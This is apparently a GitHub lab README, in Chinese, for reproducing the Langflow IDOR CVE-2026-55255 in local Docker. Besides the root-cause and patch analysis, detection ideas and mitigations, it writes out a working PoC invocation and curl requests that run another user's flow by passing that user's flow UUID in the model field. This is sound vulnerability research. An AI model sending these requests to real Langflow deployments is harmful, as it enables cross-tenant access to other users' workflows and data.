rootdirective-sec/CVE-2026-55255-Lab

GitHub: rootdirective-sec/CVE-2026-55255-Lab

一个基于 Docker 的本地实验环境,用于复现和验证 Langflow 平台 CVE-2026-55255 IDOR 漏洞在受影响版本与已修复版本之间的 HTTP 行为差异。

Stars: 0 | Forks: 0

# CVE-2026-55255 - Langflow `/api/v1/responses` 中的 IDOR 漏洞 ## 执行摘要 本仓库包含一个本地 Docker 实验环境,用于复现和验证 CVE-2026-55255,这是一个影响 Langflow 兼容 OpenAI 的 Responses API 的不安全直接对象引用(IDOR)漏洞。 Langflow 是一个用于构建和部署 AI 驱动的智能体和工作流的开源平台。受漏洞影响的行为涉及 `/api/v1/responses` endpoint,经过身份验证的攻击者可以将其他用户的 flow UUID 作为 `model` 值提供,从而导致 Langflow 执行属于该受害者的 flow。 本实验对比了两个 Langflow 版本: | 服务 | Langflow 版本 | 用途 | URL | | ------- | ----------------: | ---------------------------- | --------------------- | | vuln | 1.9.0 | 受漏洞影响的对比目标 | http://localhost:7860 | | patched | 1.9.1 | 已修复的对比目标 | http://localhost:7861 | 此本地实验环境中演示的 HTTP 验证路径为: ``` Authenticated attacker API key → POST /api/v1/responses → request body sets model to victim-owned flow UUID → vulnerable target executes the victim-owned flow → patched target returns flow_not_found and does not execute the victim-owned flow ``` 在受漏洞影响的目标中,攻击者拥有的 API key 可以执行受害者拥有的 flow,并且响应包含受害者专属标记: ``` VICTIM_ONLY_CONTEXT_55255_VULN ``` 在已修复的目标中,相同的跨用户请求不会返回受害者标记,而是返回一个 OpenAI 样式的错误主体: ``` {"error":{"message":"Flow with id '' not found","type":"invalid_request_error","code":"flow_not_found"}} ``` 本实验环境使用 Langflow 1.9.0 和 Langflow 1.9.1 验证了受漏洞影响与已修复版本的 HTTP 行为。 本实验环境刻意限定在本地 Docker 服务范围内。它不针对外部系统,也不包含凭证窃取、数据库导出、破坏性 payload、外部回调、恶意软件、持久化或后渗透活动。 ## 已验证事实 | 声明 | 证据 | 如何在本实验中进行验证 | | ----- | -------- | ------------------------- | | CVE-2026-55255 影响 Langflow 的 `/api/v1/responses` endpoint。 | GitHub 安全公告 GHSA-qrpv-q767-xqq2 描述了 `/api/v1/responses` 中的一个 IDOR。 | 查看“参考”部分,并对两个本地目标运行 PoC。 | | GitHub 安全公告列出受影响版本为 `< 1.9.1`,已修复版本为 `1.9.1`。 | GitHub 安全公告 GHSA-qrpv-q767-xqq2。 | 比较 `docker-compose.yml` 中受漏洞影响和已修复目标的版本。 | | 一些下游漏洞来源对确切的修复版本存在分歧。 | GitHub/GitLab 列出 `1.9.1` 为已修复;一些下游情报页面提到 `1.9.2` 或包含混合措辞。 | 查看“参考”部分,并依赖实验验证来确认已测试的 1.9.1 行为。 | | 本实验使用 Langflow 1.9.0 作为受漏洞影响的对比目标。 | `vuln` 服务使用 `langflowai/langflow:1.9.0`。 | 检查 `docker-compose.yml` 并运行 `docker compose ps`。 | | 本实验使用 Langflow 1.9.1 作为已修复的对比目标。 | `patched` 服务使用 `langflowai/langflow:1.9.1`。 | 检查 `docker-compose.yml` 并运行 `docker compose ps`。 | | Langflow 的 Responses API 使用 `POST /api/v1/responses`。 | Langflow 文档描述了兼容 OpenAI 的 Responses API endpoint。 | 针对运行 PoC 或手动 curl 请求 `/api/v1/responses`。 | | Langflow 的 Responses API 接受 flow ID 作为 `model` 值。 | Langflow 文档指出 `model` 值会被替换为 `flow_id`。 | 检查 PoC 请求主体。 | | Langflow API 请求需要通过 `x-api-key` 提供 API key。 | Langflow API 文档描述了使用 `x-api-key` header 进行 API key 身份验证。 | 检查 PoC 请求 header。 | | PoC 是基于请求的。 | `poc/validate_idor.py` 发送 HTTP 请求,不调用 Docker、Docker Compose、shell 命令或容器 API。 | 检查 `poc/validate_idor.py`。 | | 受漏洞影响的目标会使用攻击者拥有的 API key 执行受害者拥有的 flow。 | 受漏洞影响的响应返回 `VICTIM_ONLY_CONTEXT_55255_VULN`。 | 使用受害者 flow ID 和攻击者 API key 运行受漏洞影响的 PoC 命令。 | | 已修复的目标阻止了相同的跨用户执行路径。 | 已修复的响应返回 `error.code = flow_not_found` 且不返回受害者标记。 | 使用受害者 flow ID 和攻击者 API key 运行已修复的 PoC 命令。 | ## 假设与未知情况 本实验使用 Langflow 1.9.0 作为受漏洞影响的对比目标,因为 GitHub 安全公告 GHSA-qrpv-q767-xqq2 确定早于 1.9.1 的版本受到影响,并且本地测试确认了 1.9.0 中的受漏洞影响的行为。 本实验使用 Langflow 1.9.1 作为已修复的对比目标,因为 GitHub 安全公告 GHSA-qrpv-q767-xqq2 列出 1.9.1 为已修复版本,并且本地测试确认 1.9.1 通过 `flow_not_found` 阻止了已测试的跨用户 `/api/v1/responses` 执行路径。 各来源之间存在版本差异。GitHub 和 GitLab 安全公告列出早于 1.9.1 的版本受到影响,而 1.9.1 为已修复版本。一些下游漏洞情报页面提到 1.9.2,或者在修复版本周围包含混合措辞。本仓库记录了这一差异,并直接验证了已测试的行为: ``` Langflow 1.9.0 → attacker API key + victim flow UUID → victim marker returned → vulnerable behavior observed Langflow 1.9.1 → attacker API key + victim flow UUID → flow_not_found → victim marker not returned → blocked behavior observed ``` 本实验假设攻击者已经知道受害者的 flow UUID。PoC 不会对 flow ID 进行暴力破解、枚举 flow,或尝试发现受害者的 flow ID。 本实验专注于以下项的可观察 HTTP 行为: ``` POST /api/v1/responses ``` 具有以下请求形式: ``` { "model": "", "input": "cross-user CVE-2026-55255 validation request", "stream": false } ``` 实验演示了在受漏洞影响的目标中发生的未经授权的跨用户 flow 执行,以及在已修复目标中被阻止的行为。 本实验不演示: * 暴力破解 flow UUID, * flow ID 枚举, * 凭证窃取, * 数据库导出, * 使用真实的 LLM 提供商 API key, * 访问真实的生产数据, * 外部回调, * 远程命令执行, * 恶意软件, * 持久化, * 或针对非实验系统的攻击。 ## 根本原因摘要 CVE-2026-55255 的根本原因是 Langflow 的 flow 解析逻辑中存在授权缺口。 `/api/v1/responses` endpoint 通过 `model` 字段接受 flow UUID。在受漏洞影响的版本中,`get_flow_by_id_or_endpoint_name()` 内部的 UUID 查找路径可以直接通过主键加载 `Flow` 对象,而没有强制要求解析出的 `Flow.user_id` 与经过身份验证的 API key 用户相匹配。 受漏洞影响的行为可以概括为: ``` Attacker owns API key → attacker sends POST /api/v1/responses → model contains victim-owned flow UUID → flow resolver loads Flow by UUID → resolver does not enforce Flow.user_id == attacker_user.id → response endpoint executes the victim-owned flow → attacker receives victim flow output ``` 已修复的行为可以概括为: ``` Attacker owns API key → attacker sends POST /api/v1/responses → model contains victim-owned flow UUID → flow resolver loads candidate Flow → resolver compares Flow.user_id with authenticated API-key user id → cross-user lookup is treated as not found → response endpoint returns flow_not_found → victim-owned flow is not executed ``` 安全问题不在于攻击者可以使用自己的 flow 调用 `/api/v1/responses`。那是预期行为。问题在于,当提供受害者 flow UUID 时,低权限的经过身份验证的用户可以导致该 endpoint 执行属于另一个用户的 flow。 安全教训是: ``` Object lookup by UUID is not authorization. Every object lookup used by an authenticated API route must be scoped to the authenticated principal or followed by a strict ownership check before the object is used. ``` ## 源代码分析 通过比较 Langflow `v1.9.0` 和 `v1.9.1` 确认了源代码级别的问题。 用于审查的已检出源代码 tag 为: | 版本 | Git commit | | ------- | ---------- | | v1.9.0 | `a47f2ad17eb662e940c550cfccb64a87dddd7e0b` | | v1.9.1 | `dc26d19c1ed5b2779a3a759f78a747f47089c534` | 相关的辅助函数是: ``` async def get_flow_by_id_or_endpoint_name(flow_id_or_name: str, user_id: str | UUID | None = None) -> FlowRead: ``` 在受漏洞影响的 UUID 分支中,flow 是通过 ID 加载的: ``` flow_id = UUID(flow_id_or_name) flow = await session.get(Flow, flow_id) ``` 与安全相关的缺失检查是: ``` flow.user_id == authenticated_user.id ``` 如果没有所有者检查,即使一个有效的 flow UUID 属于另一个用户,它也足以解析出一个 `Flow` 对象。 已修复版本添加了对 `user_id` 的规范化,并在 UUID 路径上强制执行所有者范围限制: ``` if flow is not None and uuid_user_id is not None and flow.user_id != uuid_user_id: flow = None ``` 重要的行为是: ``` if the flow exists and the flow belongs to another user then treat it as not found ``` 这就是为什么已修复的实验响应会返回: ``` {"error":{"code":"flow_not_found"}} ``` 而不是执行受害者拥有的 flow。 对于本实验,主要的受漏洞影响的行为是 `/api/v1/responses` 执行路径到达 `get_flow_by_id_or_endpoint_name()` 并在没有强制执行所有权的情况下解析了受害者拥有的 flow UUID。 补丁还强化了相关的 flow 执行路由。在 `endpoints.py` 中,以前将原始辅助函数作为 FastAPI 依赖项使用的路由已从: ``` flow: Annotated[FlowRead, Depends(get_flow_by_id_or_endpoint_name)] ``` 更改为经过身份验证的包装器,例如: ``` async def get_flow_for_api_key_user( flow_id_or_name: str, api_key_user: Annotated[UserRead, Depends(api_key_security)], ) -> FlowRead: return await get_flow_by_id_or_endpoint_name(flow_id_or_name, api_key_user.id) ``` 这些包装器的更改是对诸如 `/api/v1/run*` 等其他 flow 执行路由的相关强化。它们确保辅助函数接收到经过身份验证的用户 ID,而不是依赖于普通的请求参数。本实验演示的核心修复仍然是 `get_flow_by_id_or_endpoint_name()` 内部的解析器端所有权检查。 因此,源代码级别的修复包含两个相关部分: ``` Core resolver fix: enforce owner scoping before returning a Flow object Related route dependency hardening: pass the authenticated API-key or session user's ID into the resolver ``` ## 源代码补丁摘要 Langflow 1.9.1 通过将跨用户查找视为未找到,并确保相关的 flow 执行路由将经过身份验证的用户上下文传递给解析器,从而强化了易受攻击的 flow 解析路径。 核心的已修复逻辑是: ``` if flow is not None and uuid_user_id is not None and flow.user_id != uuid_user_id: flow = None ``` 补丁还为需要解析 flow 的路由添加了经过身份验证的包装器依赖项: ``` async def get_flow_for_api_key_user(...): return await get_flow_by_id_or_endpoint_name(flow_id_or_name, api_key_user.id) async def get_flow_for_current_user(...): return await get_flow_by_id_or_endpoint_name(flow_id_or_name, current_user.id) ``` 与安全相关的更改是: ``` Before: flow UUID → session.get(Flow, flow_id) → Flow object returned without owner scoping → downstream execution path can run victim-owned flow After: flow UUID → session.get(Flow, flow_id) → compare Flow.user_id with authenticated user id → cross-user result becomes None → shared not-found behavior fires → victim-owned flow is not executed ``` 该补丁还减少了信息泄露。跨用户访问被视为未找到,而不是返回一个可能会揭示其他用户的 flow 是否存在的独特授权响应。 本实验将源代码审查和运行时验证分开: ``` Source patch review: explains why the vulnerable resolver could return a victim-owned flow. Runtime validation: proves the vulnerable target executes the victim-owned flow and the patched target does not. ``` ## 实验架构 本实验通过 Docker Compose 运行两个隔离的 Langflow 目标。 ``` . ├── docker-compose.yml ├── poc/ │ └── validate_idor.py ├── seed/ │ ├── Dockerfile │ └── seed.py ├── src/ │ ├── langflow-1.9.0/ │ └── langflow-1.9.1/ ├── state/ │ ├── patched.json │ ├── patched.ready │ ├── vuln.json │ └── vuln.ready └── README.md ``` `state/` 文件由种子服务在实验启动期间生成。`src/` 目录包含用于源代码差异验证的已检出的 Langflow 源代码树。 这两个 Langflow 服务使用不同的应用程序版本和独立的容器内 SQLite 数据库: | 服务 | 组件 | 版本 / 角色 | | ------------ | --------- | -------------------------------------- | | vuln | Langflow | 受漏洞影响的目标应用程序 | | patched | Langflow | 已修复的对比应用程序 | | seed-vuln | Python | 创建本地用户、API key、flow | | seed-patched | Python | 创建本地用户、API key、flow | 默认公开的服务: ``` Vulnerable target: http://localhost:7860 Patched target: http://localhost:7861 ``` 本实验使用固定版本的 Langflow 镜像: | 目标 | Langflow 版本 | 预期行为 | | --------------------- | ----------------: | ----------------- | | http://localhost:7860 | 1.9.0 | 攻击者 API key 可以执行受害者拥有的 flow | | http://localhost:7861 | 1.9.1 | 跨用户受害者 flow 执行被阻止 | 种子服务在以下阶段自动运行: ``` docker compose up --build --wait ``` 它们会创建: ``` victim user attacker user attacker API key victim flow attacker flow state/vuln.json state/patched.json state/vuln.ready state/patched.ready ``` 种子生成的 `state/*.json` 文件提供了一次性的本地测试值,例如 API key 和 flow UUID。 PoC 不会读取 `state/*.json`。用户通过命令行参数提供目标 URL、API key、flow ID 和可选的预期标记。 本实验不会创建或修改受漏洞影响的 `/api/v1/responses` 路由。该路由由 Langflow 提供。 ## 环境要求 * Docker Desktop 或 Docker Engine * 支持 `--wait` 的 Docker Compose v2 * Python 3 * 用于本 README 中便捷命令的 `jq` * 首次拉取 Docker 镜像期间的互联网访问权限 PoC 不需要任何 Python 第三方包。PoC 仅使用 Python 标准库模块。 种子容器在内部安装了 Python `requests` 包。该包仅在实验设置期间由种子服务使用,PoC 不使用。 ## 快速开始 从干净的状态启动实验: ``` docker compose down -v --remove-orphans find state -type f \( -name "*.json" -o -name "*.ready" \) -delete docker compose up --build --wait ``` 检查服务状态: ``` docker compose ps ``` 预期的健康服务: ``` cve-2026-55255-vuln cve-2026-55255-patched cve-2026-55255-seed-vuln cve-2026-55255-seed-patched ``` 预期的公开目标: ``` http://localhost:7860 http://localhost:7861 ``` 检查种子状态文件: ``` ls -la state cat state/vuln.json | jq . cat state/patched.json | jq . ``` 预期的文件: ``` state/vuln.json state/vuln.ready state/patched.json state/patched.ready ``` 对受漏洞影响的目标运行基于请求的验证: ``` python3 poc/validate_idor.py \ --url "$(jq -r '.public_url' state/vuln.json)" \ --api-key "$(jq -r '.attacker.api_key' state/vuln.json)" \ --flow-id "$(jq -r '.victim_flow.id' state/vuln.json)" \ --expect-marker "$(jq -r '.victim_flow.marker' state/vuln.json)" ``` 对已修复的目标运行基于请求的验证: ``` python3 poc/validate_idor.py \ --url "$(jq -r '.public_url' state/patched.json)" \ --api-key "$(jq -r '.attacker.api_key' state/patched.json)" \ --flow-id "$(jq -r '.victim_flow.id' state/patched.json)" \ --expect-marker "$(jq -r '.victim_flow.marker' state/patched.json)" ``` ## PoC 用法 PoC 接受目标 URL、API key、flow ID 和可选的预期标记: ``` python3 poc/validate_idor.py \ --url \ --api-key \ --flow-id \ --expect-marker ``` 必选选项: | 选项 | 含义 | | ------ | ------- | |--url` | Langflow 基础 URL | | `--api-key` | 在 `x-api-key` header 中使用的 API key | | `--flow-id` | 用作 `model` 值的 flow UUID | 可选选项: | 选项 | 含义 | | ------ | ------- | | `--expect-marker` | 如果目标 flow 执行,响应中预期的标记 | PoC 发送以下 HTTP 请求: ``` POST /api/v1/responses x-api-key: Content-Type: application/json ``` 请求主体: ``` { "model": "", "input": "cross-user CVE-2026-55255 validation request", "stream": false } ``` PoC 是基于请求的。它不调用 Docker、Docker Compose、shell 命令、WP-CLI、容器 API 或 Langflow 种子 API。 在本实验中,可以使用 `state/*.json` 将一次性的本地 API key 和 flow ID 复制到 PoC 命令中。PoC 本身不依赖这些文件。`state/*.json` 中的 API key 是一次性的本地实验 key;不要在这些命令中使用真实的生产 API key。 ## 预期结果 ### 受漏洞影响的目标 命令: ``` python3 poc/validate_idor.py \ --url "$(jq -r '.public_url' state/vuln.json)" \ --api-key "$(jq -r '.attacker.api_key' state/vuln.json)" \ --flow-id "$(jq -r '.victim_flow.id' state/vuln.json)" \ --expect-marker "$(jq -r '.victim_flow.marker' state/vuln.json)" ``` 预期受漏洞影响的目标信号: ``` ======================================================================================== [CVE-2026-55255 REQUEST-BASED VALIDATION] [TARGET] http://localhost:7860 [FLOW_ID] [API_KEY] [REQUEST] POST http://localhost:7860/api/v1/responses x-api-key: Content-Type: application/json { "model": "", "input": "cross-user CVE-2026-55255 validation request", "stream": false } [RESPONSE] HTTP 200 flow execution observed : True expected marker : VICTIM_ONLY_CONTEXT_55255_VULN marker found : True [BODY] ... "text":"VICTIM_ONLY_CONTEXT_55255_VULN\n\nowner=victim-user\n\ntenant=cve-2026-55255-lab" ... ======================================================================================== [CLASSIFICATION] VULNERABLE_BEHAVIOR - expected marker was returned. FINAL: VULNERABLE_BEHAVIOR_OBSERVED ``` 重要的受漏洞影响的信号是: ``` attacker API key + victim flow UUID + HTTP 200 completed response + victim-only marker returned ``` ### 已修复的目标 命令: ``` python3 poc/validate_idor.py \ --url "$(jq -r '.public_url' state/patched.json)" \ --api-key "$(jq -r '.attacker.api_key' state/patched.json)" \ --flow-id "$(jq -r '.victim_flow.id' state/patched.json)" \ --expect-marker "$(jq -r '.victim_flow.marker' state/patched.json)" ``` 预期已修复的目标信号: ``` ======================================================================================== [CVE-2026-55255 REQUEST-BASED VALIDATION] [TARGET] http://localhost:7861 [FLOW_ID] [API_KEY] [REQUEST] POST http://localhost:7861/api/v1/responses x-api-key: Content-Type: application/json { "model": "", "input": "cross-user CVE-2026-55255 validation request", "stream": false } [RESPONSE] HTTP 200 flow execution observed : False expected marker : VICTIM_ONLY_CONTEXT_55255_PATCHED marker found : False error code : flow_not_found [BODY] {"error":{"message":"Flow with id '' not found","type":"invalid_request_error","code":"flow_not_found"}} ======================================================================================== [CLASSIFICATION] BLOCKED - target returned flow_not_found. FINAL: BLOCKED_BEHAVIOR_OBSERVED ``` 重要的已修复信号是: ``` attacker API key + victim flow UUID + no victim marker + error.code = flow_not_found ``` ### 观察到执行但无标记 如果省略 `--expect-marker` 并且目标返回一个已完成的 Langflow 响应,PoC 会报告: ``` [CLASSIFICATION] FLOW_EXECUTION_OBSERVED - target returned a completed flow response. [NOTE] Ownership of the supplied flow ID must be confirmed separately. FINAL: FLOW_EXECUTION_OBSERVED ``` 这意味着目标 flow 已执行,但 PoC 本身无法证明提供的 flow ID 属于另一个用户。必须通过实验种子数据、flow ID 的来源或其他授权证据来确认所有权。 ## 验证工作原理 验证器向 Langflow Responses API endpoint 发送一个 HTTP POST 请求: ``` /api/v1/responses ``` 该请求使用提供的 API key: ``` x-api-key: ``` 请求主体使用提供的 flow UUID 作为 `model` 值: ``` { "model": "", "input": "cross-user CVE-2026-55255 validation request", "stream": false } ``` 预期受漏洞影响的行为: ``` HTTP 200 response object status is completed error is null output contains victim-owned flow marker ``` 预期已修复的行为: ``` request does not execute victim-owned flow response does not contain victim marker response indicates flow_not_found ``` 在本实验中,Langflow 1.9.1 返回 `HTTP 200` 和一个 OpenAI 样式的 JSON 错误对象: ``` {"error":{"code":"flow_not_found"}} ``` 这就是为什么 PoC 检查 JSON 错误代码,而不是假设 HTTP 传输状态必须是 404。 PoC 刻意只验证跨用户 flow 执行条件。它不尝试发现 flow ID、暴力破解 UUID、枚举用户、提取机密或触发外部服务。 ## 使用 curl 进行手动 HTTP 复现 实验种子将一次性的本地值写入 `state/*.json`。这些命令使用这些本地值来构建 curl 请求。状态文件仅用于实验产物。 受漏洞影响的探测: ``` curl -i -sS -X POST \ "$(jq -r '.public_url' state/vuln.json)/api/v1/responses" \ -H "Content-Type: application/json" \ -H "x-api-key: $(jq -r '.attacker.api_key' state/vuln.json)" \ --data "{ \"model\": \"$(jq -r '.victim_flow.id' state/vuln.json)\", \"input\": \"cross-user CVE-2026-55255 validation request\", \"stream\": false }" ``` 预期受漏洞影响的结果: ``` HTTP/1.1 200 OK ... "status":"completed" "error":null "VICTIM_ONLY_CONTEXT_55255_VULN" ``` 已修复的探测: ``` curl -i -sS -X POST \ "$(jq -r '.public_url' state/patched.json)/api/v1/responses" \ -H "Content-Type: application/json" \ -H "x-api-key: $(jq -r '.attacker.api_key' state/patched.json)" \ --data "{ \"model\": \"$(jq -r '.victim_flow.id' state/patched.json)\", \"input\": \"cross-user CVE-2026-55255 validation request\", \"stream\": false }" ``` 预期已修复的结果: ``` HTTP/1.1 200 OK ... {"error":{"code":"flow_not_found"}} ``` ## 影响 在多用户或多租户的 Langflow 部署中,CVE-2026-55255 具有安全敏感性,因为如果已知受害者的 flow UUID,一个经过身份验证的用户可能能够执行另一个用户的 flow。 潜在的现实影响取决于受害者拥有的 flow 执行的具体操作。 可能的影响包括: * 未经授权执行另一个用户的 AI 工作流, * 暴露由受害者 flow 处理的数据, * 访问受害者拥有的 prompt 或工作流输出, * 使用受害者拥有的集成或配置的组件, * 消耗与受害者关联的计算或 API 资源, * 跨用户或跨租户的授权边界绕过, * 以及通过 flow 输出进行信息泄露。 实际的可利用性取决于攻击者是否能获取有效的受害者 flow UUID。猜测 flow UUID 不是本实验的重点,PoC 也不会对 flow ID 进行暴力破解。 本实验仅演示了安全的授权边界失败: ``` attacker API key + victim flow UUID + victim-only marker returned ``` 本实验不演示真实数据访问、真实机密访问、LLM 提供商 key 滥用、外部回调或后渗透。 ## 检测和监控 潜在的指标包括经过身份验证的以下请求: ``` POST /api/v1/responses ``` 可疑的请求模式: ``` x-api-key belongs to user A model contains flow UUID owned by user B ``` 高信号检测思路: ``` POST /api/v1/responses AND request.model is a flow UUID AND authenticated API-key user does not own that flow UUID ``` 可能需要审查的应用层日志或遥测数据: * API key 所有者, * 请求路径, * `model` 值, * 解析出的 flow ID, * 解析出的 flow 所有者, * 响应错误代码, * `flow_not_found` 响应, * 来自 `/api/v1/responses` 的成功完成响应, * 不寻常的跨用户 flow 执行尝试, * 针对大量 flow UUID 的重复尝试, * 以及低权限用户异常高的 API 使用率。 受漏洞影响的验证产物示例: ``` Request: POST /api/v1/responses x-api-key: attacker user's API key model: victim user's flow UUID Response: status: completed error: null output contains victim-only marker ``` 已修复的验证产物示例: ``` Request: POST /api/v1/responses x-api-key: attacker user's API key model: victim user's flow UUID Response: error.code: flow_not_found victim marker not returned ``` 建议的监控操作: * 审查 `/api/v1/responses` 的 API 日志。 * 将 API key 所有者与请求的 flow 所有者相关联。 * 对跨用户 flow UUID 的使用发出警报。 * 审查针对 Responses API 的 `flow_not_found` 突发情况。 * 审查新创建或低权限用户异常高的 API 使用率。 * 审查可能暴露 flow UUID 的公开或共享渠道。 * 如果怀疑被滥用,轮换受影响的 API key。 * 审查受害者拥有的 flow,查看是否存在敏感的连接器、工具或数据源。 ## 缓解和补丁说明 将 Langflow 升级到已修复的版本。 GitHub 安全公告 GHSA-qrpv-q767-xqq2 列出 Langflow 1.9.1 为 CVE-2026-55255 的修复版本。一些下游漏洞情报来源提到 1.9.2,或者在修复版本周围包含混合措辞。本实验验证了 Langflow 1.9.1 通过 `flow_not_found` 阻止了已测试的 `/api/v1/responses` 跨用户执行路径。对于生产环境,请更新到最新可用的 Langflow 版本,而不是止步于实验对比的版本。 建议的缓解步骤: * 将 Langflow 升级到已修复或最新可用的版本。 * 确认安装的版本不在受影响范围内。 * 尽可能将 Langflow 的公开范围限制在受信任的网络内。 * 要求对 API 路由进行身份验证。 * 如果怀疑遭到利用,请审查并轮换 API key。 * 审查 flow 所有权和共享配置。 * 审查日志中是否存在跨用户的 `/api/v1/responses` 请求。 * 避免不必要地公开 flow UUID。 * 将反向代理或 WAF 拦截视为临时控制措施,而不是升级的替代品。 * 在多租户环境中,测试 API key 用户是否无法执行他们不拥有的 flow。 安全工程经验教训: * 不要依赖对象 UUID 的保密性作为授权控制。 * 根据经过身份验证的主体划分对象查找范围。 * 在使用解析出的对象之前强制执行所有权检查。 * 当需要经过身份验证的上下文时,避免直接使用通用解析器辅助函数作为路由依赖项。 * 谨慎处理未找到的响应,以避免泄露对象的存在。 * 为跨用户对象访问添加回归测试。 ## 安全边界 本实验仅供本地安全研究和受控演示使用。 请勿对您不拥有或没有明确授权测试的系统运行 PoC 或手动 curl 请求。 请勿在本实验中使用真实的生产凭证、客户数据、支付数据、API key、LLM 提供商 key、数据库凭证或生产机密。 预期范围仅限于本地 Docker 服务,例如: ``` http://localhost:7860 http://localhost:7861 http://127.0.0.1:7860 http://127.0.0.1:7861 ``` PoC 是刻意设计为基于请求的。它不调用 Docker、Docker Compose、shell 命令、WP-CLI 或容器 API。 本实验不包含用于以下情况的 payload: * flow UUID 暴力破解, * 用户枚举, * 凭证窃取, * 数据库导出, * LLM 提供商 key 滥用, * 任意命令执行, * 恶意软件, * 持久化, * 横向移动, * 客户数据访问, * 或外部回调。 目标是在受控环境中演示一个特定的技术条件: ``` HTTP request + attacker-owned API key + victim-owned flow UUID + vulnerable target executes victim-owned flow + patched target returns flow_not_found ``` ## 参考 * CVE 记录:CVE-2026-55255 https://www.cve.org/CVERecord?id=CVE-2026-55255 * GitHub 安全公告:GHSA-qrpv-q767-xqq2 https://github.com/advisories/GHSA-qrpv-q767-xqq2 * GitLab 安全公告:CVE-2026-55255 https://advisories.gitlab.com/pypi/langflow/CVE-2026-55255/ * Langflow Pull Request:fix(security): close IDOR in get_flow_by_id_or_endpoint_name (LE-639) #12832 https://github.com/langflow-ai/langflow/pull/12832 * Langflow OpenAI Responses API 文档 https://docs.langflow.org/api-openai-responses * Langflow API Key 和身份验证文档 https://docs.langflow.org/api-keys-and-authentication * Langflow API 参考示例 https://docs.langflow.org/api-reference-api-examples * Langflow GitHub 仓库 https://github.com/langflow-ai/langflow * Langflow Docker 镜像 https://hub.docker.com/r/langflowai/langflow * GHSA-qrpv-q767-xqq2 的 Tenable 插件说明 https://www.tenable.com/plugins/container-security/443659 * Mondoo 漏洞情报:CVE-2026-55255 https://mondoo.com/vulnerability-intelligence/vulnerability/CVE-2026-55255
标签:API安全, CISA项目, Docker, IDOR, JSON输出, Modbus, 安全测试, 安全防御评估, 攻击性安全, 漏洞复现环境, 版权保护, 请求拦截, 逆向工具